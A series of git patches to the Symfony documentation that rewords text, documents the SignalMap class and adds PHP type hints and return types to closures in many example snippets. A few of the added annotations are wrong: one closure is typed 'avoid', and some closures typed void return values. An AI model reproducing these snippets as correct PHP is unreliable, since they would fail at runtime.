Subject: [PATCH 3415/5766] Minor reword

---
 translation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index b368c00d7f4..1d23f9171a9 100644
--- a/translation.rst
+++ b/translation.rst
@@ -943,8 +943,8 @@ the framework:
             $framework->defaultLocale('en');
         };
 
-This ``default_locale`` is also relevant for the translator, as we will see
-in the next section.
+This ``default_locale`` is also relevant for the translator, as shown in the
+next section.
 
 .. _translation-fallback:
 

From 3922fff5be488c154a9dfad6b61a5f0397b83923 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Jun 2023 13:52:55 +0200
Subject: [PATCH 3416/5766] [Console] Add SignalMap to map signal value to its
 name

---
 components/console/events.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/console/events.rst b/components/console/events.rst
index 7cdb2226994..4444992b30f 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -243,6 +243,18 @@ Symfony doesn't handle any signal received by the command (not even ``SIGKILL``,
 ``SIGTERM``, etc). This behavior is intended, as it gives you the flexibility to
 handle all signals e.g. to do some tasks before terminating the command.
 
+.. tip::
+
+    If you need to fetch the signal name from its integer value (e.g. for logging),
+    you can use the
+    :method:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap::getSignalName`
+    method.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
+    introduced in Symfony 6.4.
+
 .. deprecated:: 6.3
 
     In Symfony versions previous to 6.3, all signals (except ``SIGUSR1`` and

From 8728589b0f89ecbcfc8b814537e691f64450d56e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Jun 2023 21:43:52 +0200
Subject: [PATCH 3417/5766] Add type-hints and return types

---
 bundles/configuration.rst                     |  4 +-
 cache.rst                                     |  6 +--
 components/cache.rst                          |  4 +-
 components/cache/cache_invalidation.rst       |  2 +-
 components/cache/cache_items.rst              |  2 +-
 components/cache/cache_pools.rst              |  2 +-
 components/config/definition.rst              |  2 +-
 components/console/events.rst                 | 14 ++---
 .../console/helpers/debug_formatter.rst       |  2 +-
 components/console/helpers/processhelper.rst  |  2 +-
 components/console/helpers/progressbar.rst    |  2 +-
 components/console/helpers/questionhelper.rst | 52 +++++++++----------
 components/console/single_command_tool.rst    |  2 +-
 components/dom_crawler.rst                    |  8 +--
 components/event_dispatcher.rst               |  2 +-
 .../event_dispatcher/immutable_dispatcher.rst |  3 +-
 components/expression_language.rst            |  8 +--
 components/finder.rst                         |  4 +-
 components/form.rst                           |  2 +-
 components/http_foundation.rst                |  2 +-
 components/http_kernel.rst                    |  2 +-
 components/options_resolver.rst               | 22 ++++----
 components/process.rst                        |  6 +--
 components/runtime.rst                        | 32 ++++++------
 components/serializer.rst                     |  6 +--
 components/string.rst                         |  6 +--
 components/var_dumper.rst                     |  6 +--
 configuration.rst                             |  4 +-
 .../front_controllers_and_kernel.rst          |  2 +-
 configuration/multiple_kernels.rst            |  4 +-
 configuration/override_dir_structure.rst      |  2 +-
 configuration/secrets.rst                     |  2 +-
 console/input.rst                             |  2 +-
 console/lazy_commands.rst                     |  6 ++-
 console/style.rst                             |  4 +-
 controller/error_pages.rst                    |  2 +-
 controller/service.rst                        |  2 +-
 create_framework/event_dispatcher.rst         |  6 +--
 .../http_kernel_httpkernel_class.rst          |  2 +-
 create_framework/templating.rst               |  6 +--
 doctrine/custom_dql_functions.rst             |  4 +-
 doctrine/dbal.rst                             |  4 +-
 doctrine/multiple_entity_managers.rst         |  4 +-
 doctrine/resolve_target_entity.rst            |  2 +-
 form/bootstrap4.rst                           |  2 +-
 form/create_custom_field_type.rst             |  2 +-
 form/data_based_validation.rst                |  4 +-
 form/dynamic_form_modification.rst            | 18 +++----
 form/events.rst                               |  2 +-
 form/form_themes.rst                          |  4 +-
 forms.rst                                     |  2 +-
 http_cache.rst                                |  2 +-
 http_client.rst                               | 14 ++---
 logging.rst                                   |  6 +--
 logging/channels_handlers.rst                 |  4 +-
 logging/formatter.rst                         |  2 +-
 logging/handlers.rst                          |  2 +-
 logging/monolog_console.rst                   |  2 +-
 logging/monolog_email.rst                     |  6 +--
 logging/monolog_exclude_http_codes.rst        |  2 +-
 logging/processors.rst                        |  2 +-
 mailer.rst                                    |  4 +-
 migration.rst                                 |  4 +-
 notifier.rst                                  |  6 +--
 quick_tour/the_architecture.rst               |  2 +-
 reference/configuration/doctrine.rst          |  4 +-
 reference/configuration/security.rst          | 14 ++---
 reference/configuration/twig.rst              |  6 +--
 reference/constraints/Callback.rst            |  2 +-
 reference/forms/types/choice.rst              | 10 ++--
 reference/forms/types/collection.rst          |  2 +-
 reference/forms/types/entity.rst              |  4 +-
 .../forms/types/options/choice_attr.rst.inc   |  4 +-
 .../forms/types/options/choice_filter.rst.inc |  4 +-
 .../forms/types/options/choice_label.rst.inc  |  2 +-
 .../forms/types/options/choice_loader.rst.inc |  4 +-
 .../choice_translation_parameters.rst.inc     |  2 +-
 .../forms/types/options/choice_value.rst.inc  |  2 +-
 .../types/options/preferred_choices.rst.inc   |  2 +-
 .../types/options/validation_groups.rst.inc   |  2 +-
 routing.rst                                   | 46 ++++++++--------
 routing/custom_route_loader.rst               |  8 +--
 security.rst                                  |  8 +--
 security/access_control.rst                   |  8 +--
 security/access_denied_handler.rst            |  4 +-
 security/access_token.rst                     |  8 +--
 security/custom_authenticator.rst             |  6 +--
 security/entry_point.rst                      |  4 +-
 security/firewall_restriction.rst             |  8 +--
 security/force_https.rst                      |  2 +-
 security/form_login.rst                       | 10 ++--
 security/impersonating_user.rst               | 10 ++--
 security/ldap.rst                             |  8 +--
 security/login_link.rst                       | 14 ++---
 security/passwords.rst                        | 12 ++---
 security/remember_me.rst                      | 10 ++--
 security/user_checkers.rst                    |  4 +-
 security/voters.rst                           |  6 +--
 templates.rst                                 | 12 ++---
 testing.rst                                   |  2 +-
 testing/dom_crawler.rst                       |  6 ++-
 translation.rst                               |  2 +-
 102 files changed, 312 insertions(+), 305 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 6933f7eb794..bc9efc1e0b9 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -85,7 +85,7 @@ can add some configuration that looks like this:
         // config/packages/acme_social.php
         use Symfony\Config\AcmeSocialConfig;
 
-        return static function (AcmeSocialConfig $acmeSocial) {
+        return static function (AcmeSocialConfig $acmeSocial): void {
             $acmeSocial->twitter()
                 ->clientId(123)
                 ->clientSecret('your_secret');
@@ -394,7 +394,7 @@ logic to the bundle class directly::
         // config/definition.php
         use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
 
-        return static function (DefinitionConfigurator $definition) {
+        return static function (DefinitionConfigurator $definition): void {
             $definition->rootNode()
                 ->children()
                     ->scalarNode('foo')->defaultValue('bar')->end()
diff --git a/cache.rst b/cache.rst
index f9d7175cf41..bddec08cbc8 100644
--- a/cache.rst
+++ b/cache.rst
@@ -10,7 +10,7 @@ The following example shows a typical usage of the cache::
     use Symfony\Contracts\Cache\ItemInterface;
 
     // The callable will only be executed on a cache miss.
-    $value = $pool->get('my_cache_key', function (ItemInterface $item) {
+    $value = $pool->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         // ... do some HTTP request or heavy computations
@@ -557,13 +557,13 @@ the same key could be invalidated with one function call::
 
         public function someMethod()
         {
-            $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item) {
+            $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item): string {
                 $item->tag(['foo', 'bar']);
 
                 return 'debug';
             });
 
-            $value1 = $this->myCachePool->get('item_1', function (ItemInterface $item) {
+            $value1 = $this->myCachePool->get('item_1', function (ItemInterface $item): string {
                 $item->tag('foo');
 
                 return 'debug';
diff --git a/components/cache.rst b/components/cache.rst
index 66514b6c898..20fa2426876 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -65,7 +65,7 @@ generate and return the value::
     use Symfony\Contracts\Cache\ItemInterface;
 
     // The callable will only be executed on a cache miss.
-    $value = $cache->get('my_cache_key', function (ItemInterface $item) {
+    $value = $cache->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         // ... do some HTTP request or heavy computations
@@ -115,7 +115,7 @@ recompute::
     use Symfony\Contracts\Cache\ItemInterface;
 
     $beta = 1.0;
-    $value = $cache->get('my_cache_key', function (ItemInterface $item) {
+    $value = $cache->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
         $item->tag(['tag_0', 'tag_1']);
 
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index 1005d2d09a7..da88ea6273e 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -24,7 +24,7 @@ To attach tags to cached items, you need to use the
 :method:`Symfony\\Contracts\\Cache\\ItemInterface::tag` method that is implemented by
 cache items::
 
-    $item = $cache->get('cache_key', function (ItemInterface $item) {
+    $item = $cache->get('cache_key', function (ItemInterface $item): string {
         // [...]
         // add one or more tags
         $item->tag('tag_1');
diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst
index 9f020a39de9..715dc0c4401 100644
--- a/components/cache/cache_items.rst
+++ b/components/cache/cache_items.rst
@@ -27,7 +27,7 @@ The only way to create cache items is via cache pools. When using the Cache
 Contracts, they are passed as arguments to the recomputation callback::
 
     // $cache pool object was created before
-    $productsCount = $cache->get('stats.products_count', function (ItemInterface $item) {
+    $productsCount = $cache->get('stats.products_count', function (ItemInterface $item): string {
         // [...]
     });
 
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index 8d05cd268d5..0a7e966badc 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -38,7 +38,7 @@ and deleting cache items using only two methods and a callback::
     $cache = new FilesystemAdapter();
 
     // The callable will only be executed on a cache miss.
-    $value = $cache->get('my_cache_key', function (ItemInterface $item) {
+    $value = $cache->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         // ... do some HTTP request or heavy computations
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 5c8cc0dc0e0..8dab6d2163e 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -737,7 +737,7 @@ By changing a string value into an associative array with ``name`` as the key::
             ->arrayNode('connection')
                 ->beforeNormalization()
                     ->ifString()
-                    ->then(function ($v) { return ['name' => $v]; })
+                    ->then(function (string $v): array { return ['name' => $v]; })
                 ->end()
                 ->children()
                     ->scalarNode('name')->isRequired()->end()
diff --git a/components/console/events.rst b/components/console/events.rst
index 01b81d5a708..5e6f58a593f 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -33,7 +33,7 @@ dispatched. Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleCommandEvent;
 
-    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event): void {
         // gets the input instance
         $input = $event->getInput();
 
@@ -64,7 +64,7 @@ C/C++ standard::
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleCommandEvent;
 
-    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event): void {
         // gets the command to be executed
         $command = $event->getCommand();
 
@@ -97,7 +97,7 @@ Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleErrorEvent;
 
-    $dispatcher->addListener(ConsoleEvents::ERROR, function (ConsoleErrorEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::ERROR, function (ConsoleErrorEvent $event): void {
         $output = $event->getOutput();
 
         $command = $event->getCommand();
@@ -131,7 +131,7 @@ Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleTerminateEvent;
 
-    $dispatcher->addListener(ConsoleEvents::TERMINATE, function (ConsoleTerminateEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::TERMINATE, function (ConsoleTerminateEvent $event): void {
         // gets the output
         $output = $event->getOutput();
 
@@ -170,11 +170,11 @@ Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleSignalEvent;
 
-    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
-       
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event): void {
+
         // gets the signal number
         $signal = $event->getHandlingSignal();
-        
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index a5567fe63ed..b2f6e9dfbde 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -78,7 +78,7 @@ using
     // ...
     $process = new Process(...);
 
-    $process->run(function ($type, $buffer) use ($output, $debugFormatter, $process) {
+    $process->run(function (string $type, string $buffer) use ($output, $debugFormatter, $process): void {
         $output->writeln(
             $debugFormatter->progress(
                 spl_object_hash($process),
diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index ef462cef731..51dbd016a0e 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -69,7 +69,7 @@ A custom process callback can be passed as the fourth argument. Refer to the
 
     use Symfony\Component\Process\Process;
 
-    $helper->run($output, $process, 'The process failed :(', function ($type, $data) {
+    $helper->run($output, $process, 'The process failed :(', function (string $type, string $data): void {
         if (Process::ERR === $type) {
             // ... do something with the stderr output
         } else {
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 0dfb9b45a02..315b02a1d1b 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -336,7 +336,7 @@ that displays the number of remaining steps::
 
     ProgressBar::setPlaceholderFormatterDefinition(
         'remaining_steps',
-        function (ProgressBar $progressBar, OutputInterface $output) {
+        function (ProgressBar $progressBar, OutputInterface $output): int {
             return $progressBar->getMaxSteps() - $progressBar->getProgress();
         }
     );
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index eed00d74711..5729c112af1 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -82,9 +82,9 @@ if you want to know a bundle name, you can add this to your command::
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -120,7 +120,7 @@ from a predefined list::
         $output->writeln('You have just selected: '.$color);
 
         // ... do something with the color
-        
+
         return Command::SUCCESS;
     }
 
@@ -158,7 +158,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
-        
+
         return Command::SUCCESS;
     }
 
@@ -187,9 +187,9 @@ will be autocompleted as the user types::
         $question->setAutocompleterValues($bundles);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -217,7 +217,7 @@ provide a callback function to dynamically generate suggestions::
             // where files and dirs can be found
             $foundFilesAndDirs = @scandir($inputPath) ?: [];
 
-            return array_map(function ($dirOrFile) use ($inputPath) {
+            return array_map(function (string $dirOrFile) use ($inputPath): void {
                 return $inputPath.$dirOrFile;
             }, $foundFilesAndDirs);
         };
@@ -226,9 +226,9 @@ provide a callback function to dynamically generate suggestions::
         $question->setAutocompleterCallback($callback);
 
         $filePath = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the filePath
-        
+
         return Command::SUCCESS;
     }
 
@@ -250,9 +250,9 @@ You can also specify if you want to not trim the answer by setting it directly w
         $question->setTrimmable(false);
         // if the users inputs 'elsa ' it will not be trimmed and you will get 'elsa ' as value
         $name = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the name
-        
+
         return Command::SUCCESS;
     }
 
@@ -276,9 +276,9 @@ the response to a question should allow multiline answers by passing ``true`` to
         $question->setMultiline(true);
 
         $answer = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the answer
-        
+
         return Command::SUCCESS;
     }
 
@@ -304,9 +304,9 @@ convenient for passwords::
         $question->setHiddenFallback(false);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
@@ -338,7 +338,7 @@ convenient for passwords::
             QuestionHelper::disableStty();
 
             // ...
-            
+
             return Command::SUCCESS;
         }
 
@@ -361,15 +361,15 @@ method::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
-        $question->setNormalizer(function ($value) {
+        $question->setNormalizer(function (string $value): string {
             // $value can be null here
             return $value ? trim($value) : '';
         });
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -399,7 +399,7 @@ method::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
-        $question->setValidator(function ($answer) {
+        $question->setValidator(function (string $answer): string {
             if (!is_string($answer) || 'Bundle' !== substr($answer, -6)) {
                 throw new \RuntimeException(
                     'The name of the bundle should be suffixed with \'Bundle\''
@@ -411,9 +411,9 @@ method::
         $question->setMaxAttempts(2);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -459,10 +459,10 @@ You can also use a validator with a hidden question::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter your password');
-        $question->setNormalizer(function ($value) {
+        $question->setNormalizer(function (?string $value): string {
             return $value ?? '';
         });
-        $question->setValidator(function ($value) {
+        $question->setValidator(function (string $value): void {
             if ('' === trim($value)) {
                 throw new \Exception('The password cannot be empty');
             }
@@ -473,9 +473,9 @@ You can also use a validator with a hidden question::
         $question->setMaxAttempts(20);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index a6c458afb94..97cb09bf030 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -20,7 +20,7 @@ it is possible to remove this need by declaring a single command application::
         ->setVersion('1.0.0') // Optional
         ->addArgument('foo', InputArgument::OPTIONAL, 'The directory')
         ->addOption('bar', null, InputOption::VALUE_REQUIRED)
-        ->setCode(function (InputInterface $input, OutputInterface $output) {
+        ->setCode(function (InputInterface $input, OutputInterface $output): int {
             // output arguments and options
         })
         ->run();
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index fd9b47a1d59..b7038e5088f 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -89,9 +89,9 @@ An anonymous function can be used to filter with more complex criteria::
 
     $crawler = $crawler
         ->filter('body > p')
-        ->reduce(function (Crawler $node, $i) {
+        ->reduce(function (Crawler $node, $i): bool {
             // filters every other node
-            return ($i % 2) == 0;
+            return ($i % 2) === 0;
         });
 
 To remove a node, the anonymous function must return ``false``.
@@ -242,7 +242,7 @@ Call an anonymous function on each node of the list::
     use Symfony\Component\DomCrawler\Crawler;
     // ...
 
-    $nodeValues = $crawler->filter('p')->each(function (Crawler $node, $i) {
+    $nodeValues = $crawler->filter('p')->each(function (Crawler $node, $i): string {
         return $node->text();
     });
 
@@ -252,7 +252,7 @@ The result is an array of values returned by the anonymous function calls.
 When using nested crawler, beware that ``filterXPath()`` is evaluated in the
 context of the crawler::
 
-    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i) {
+    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): avoid {
         // DON'T DO THIS: direct child can not be found
         $subCrawler = $parentCrawler->filterXPath('sub-tag/sub-child-tag');
 
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index f545d9802b7..68d7a5f39e6 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -147,7 +147,7 @@ The ``addListener()`` method takes up to three arguments:
 
         use Symfony\Contracts\EventDispatcher\Event;
 
-        $dispatcher->addListener('acme.foo.action', function (Event $event) {
+        $dispatcher->addListener('acme.foo.action', function (Event $event): void {
             // will be executed when the acme.foo.action event is dispatched
         });
 
diff --git a/components/event_dispatcher/immutable_dispatcher.rst b/components/event_dispatcher/immutable_dispatcher.rst
index 0a930352bfe..a6a98c47f37 100644
--- a/components/event_dispatcher/immutable_dispatcher.rst
+++ b/components/event_dispatcher/immutable_dispatcher.rst
@@ -13,9 +13,10 @@ To use it, first create a normal ``EventDispatcher`` dispatcher and register
 some listeners or subscribers::
 
     use Symfony\Component\EventDispatcher\EventDispatcher;
+    use Symfony\Contracts\EventDispatcher\Event;
 
     $dispatcher = new EventDispatcher();
-    $dispatcher->addListener('foo.action', function ($event) {
+    $dispatcher->addListener('foo.action', function (Event $event): void {
         // ...
     });
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 3f79c57707d..f936efdb112 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -284,9 +284,9 @@ Example::
     use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
 
     $expressionLanguage = new ExpressionLanguage();
-    $expressionLanguage->register('lowercase', function ($str) {
+    $expressionLanguage->register('lowercase', function ($str): string {
         return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-    }, function ($arguments, $str) {
+    }, function ($arguments, $str): string {
         if (!is_string($str)) {
             return $str;
         }
@@ -325,9 +325,9 @@ register::
         public function getFunctions()
         {
             return [
-                new ExpressionFunction('lowercase', function ($str) {
+                new ExpressionFunction('lowercase', function ($str): string {
                     return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-                }, function ($arguments, $str) {
+                }, function ($arguments, $str): string {
                     if (!is_string($str)) {
                         return $str;
                     }
diff --git a/components/finder.rst b/components/finder.rst
index a1809521419..27dd6709b6d 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -351,7 +351,7 @@ Sort the results by name, extension, size or type (directories first, then files
     function (e.g. ``file1.txt``, ``file10.txt``, ``file2.txt``). Pass ``true``
     as its argument to use PHP's `natural sort order`_ algorithm instead (e.g.
     ``file1.txt``, ``file2.txt``, ``file10.txt``).
-    
+
     The ``sortByCaseInsensitiveName()`` method uses the case insensitive
     :phpfunction:`strcasecmp` PHP function. Pass ``true`` as its argument to use
     PHP's case insensitive `natural sort order`_ algorithm instead (i.e. the
@@ -367,7 +367,7 @@ Sort the files and directories by the last accessed, changed or modified time::
 
 You can also define your own sorting algorithm with the ``sort()`` method::
 
-    $finder->sort(function (\SplFileInfo $a, \SplFileInfo $b) {
+    $finder->sort(function (\SplFileInfo $a, \SplFileInfo $b): int {
         return strcmp($a->getRealPath(), $b->getRealPath());
     });
 
diff --git a/components/form.rst b/components/form.rst
index 2f7b874d7bf..79763fcacbe 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -204,7 +204,7 @@ to bootstrap or access Twig and add the :class:`Symfony\\Bridge\\Twig\\Extension
     ]));
     $formEngine = new TwigRendererEngine([$defaultFormTheme], $twig);
     $twig->addRuntimeLoader(new FactoryRuntimeLoader([
-        FormRenderer::class => function () use ($formEngine, $csrfManager) {
+        FormRenderer::class => function () use ($formEngine, $csrfManager): FormRenderer {
             return new FormRenderer($formEngine, $csrfManager);
         },
     ]));
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ae5db2bee91..ee1ae532f87 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -555,7 +555,7 @@ represented by a PHP callable instead of a string::
     use Symfony\Component\HttpFoundation\StreamedResponse;
 
     $response = new StreamedResponse();
-    $response->setCallback(function () {
+    $response->setCallback(function (): void {
         var_dump('Hello World');
         flush();
         sleep(2);
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 067bf17a998..2bb972e057a 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -630,7 +630,7 @@ else that can be used to create a working example::
 
     $routes = new RouteCollection();
     $routes->add('hello', new Route('/hello/{name}', [
-        '_controller' => function (Request $request) {
+        '_controller' => function (Request $request): Response {
             return new Response(
                 sprintf("Hello %s", $request->get('name'))
             );
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index fb459f3d9cd..1f9b1b9567f 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -370,7 +370,7 @@ For options with more complicated validation schemes, pass a closure which
 returns ``true`` for acceptable values and ``false`` for invalid values::
 
     // ...
-    $resolver->setAllowedValues('transport', function ($value) {
+    $resolver->setAllowedValues('transport', function (string $value): bool {
         // return true or false
     });
 
@@ -412,7 +412,7 @@ option. You can configure a normalizer by calling
         {
             // ...
 
-            $resolver->setNormalizer('host', function (Options $options, $value) {
+            $resolver->setNormalizer('host', function (Options $options, string $value): string {
                 if ('http://' !== substr($value, 0, 7)) {
                     $value = 'http://'.$value;
                 }
@@ -433,7 +433,7 @@ if you need to use other options during normalization::
         public function configureOptions(OptionsResolver $resolver)
         {
             // ...
-            $resolver->setNormalizer('host', function (Options $options, $value) {
+            $resolver->setNormalizer('host', function (Options $options, string $value): string {
                 if ('http://' !== substr($value, 0, 7) && 'https://' !== substr($value, 0, 8)) {
                     if ('ssl' === $options['encryption']) {
                         $value = 'https://'.$value;
@@ -475,7 +475,7 @@ these options, you can return the desired default value::
             // ...
             $resolver->setDefault('encryption', null);
 
-            $resolver->setDefault('port', function (Options $options) {
+            $resolver->setDefault('port', function (Options $options): int {
                 if ('ssl' === $options['encryption']) {
                     return 465;
                 }
@@ -518,7 +518,7 @@ the closure::
         {
             parent::configureOptions($resolver);
 
-            $resolver->setDefault('host', function (Options $options, $previousValue) {
+            $resolver->setDefault('host', function (Options $options, string $previousValue): string {
                 if ('ssl' === $options['encryption']) {
                     return 'secure.example.org';
                 }
@@ -654,7 +654,7 @@ default value::
 
         public function configureOptions(OptionsResolver $resolver)
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver) {
+            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     'path' => '/path/to/spool',
@@ -690,7 +690,7 @@ to the closure to access to them::
         public function configureOptions(OptionsResolver $resolver)
         {
             $resolver->setDefault('sandbox', false);
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent) {
+            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
                 $spoolResolver->setDefaults([
                     'type' => $parent['sandbox'] ? 'memory' : 'file',
                     // ...
@@ -713,13 +713,13 @@ In same way, parent options can access to the nested options as normal arrays::
 
         public function configureOptions(OptionsResolver $resolver)
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver) {
+            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     // ...
                 ]);
             });
-            $resolver->setDefault('profiling', function (Options $options) {
+            $resolver->setDefault('profiling', function (Options $options): void {
                 return 'file' === $options['spool']['type'];
             });
         }
@@ -740,7 +740,7 @@ with ``host``, ``database``, ``user`` and ``password`` each.
 
 The best way to implement this is to define the ``connections`` option as prototype::
 
-    $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
+    $resolver->setDefault('connections', function (OptionsResolver $connResolver): void {
         $connResolver
             ->setPrototype(true)
             ->setRequired(['host', 'database'])
@@ -820,7 +820,7 @@ the option::
         ->setDefault('encryption', null)
         ->setDefault('port', null)
         ->setAllowedTypes('port', ['null', 'int'])
-        ->setDeprecated('port', 'acme/package', '1.2', function (Options $options, $value) {
+        ->setDeprecated('port', 'acme/package', '1.2', function (Options $options, ?int $value): string {
             if (null === $value) {
                 return 'Passing "null" to option "port" is deprecated, pass an integer instead.';
             }
diff --git a/components/process.rst b/components/process.rst
index fbd0e041582..91c43b096cd 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -189,7 +189,7 @@ anonymous function to the
     use Symfony\Component\Process\Process;
 
     $process = new Process(['ls', '-lsa']);
-    $process->run(function ($type, $buffer) {
+    $process->run(function ($type, $buffer): void {
         if (Process::ERR === $type) {
             echo 'ERR > '.$buffer;
         } else {
@@ -267,7 +267,7 @@ in the output and its type::
     $process = new Process(['ls', '-lsa']);
     $process->start();
 
-    $process->wait(function ($type, $buffer) {
+    $process->wait(function ($type, $buffer): void {
         if (Process::ERR === $type) {
             echo 'ERR > '.$buffer;
         } else {
@@ -286,7 +286,7 @@ process and checks its output to wait until its fully initialized::
     // ... do other things
 
     // waits until the given anonymous function returns true
-    $process->waitUntil(function ($type, $output) {
+    $process->waitUntil(function ($type, $output): bool {
         return $output === 'Ready. Waiting for commands...';
     });
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 7706602017e..9f6882a8450 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -27,7 +27,7 @@ to look like this::
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (array $context) {
+    return function (array $context): Kernel {
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
     };
 
@@ -61,7 +61,7 @@ To make a console application, the bootstrap code would look like::
 
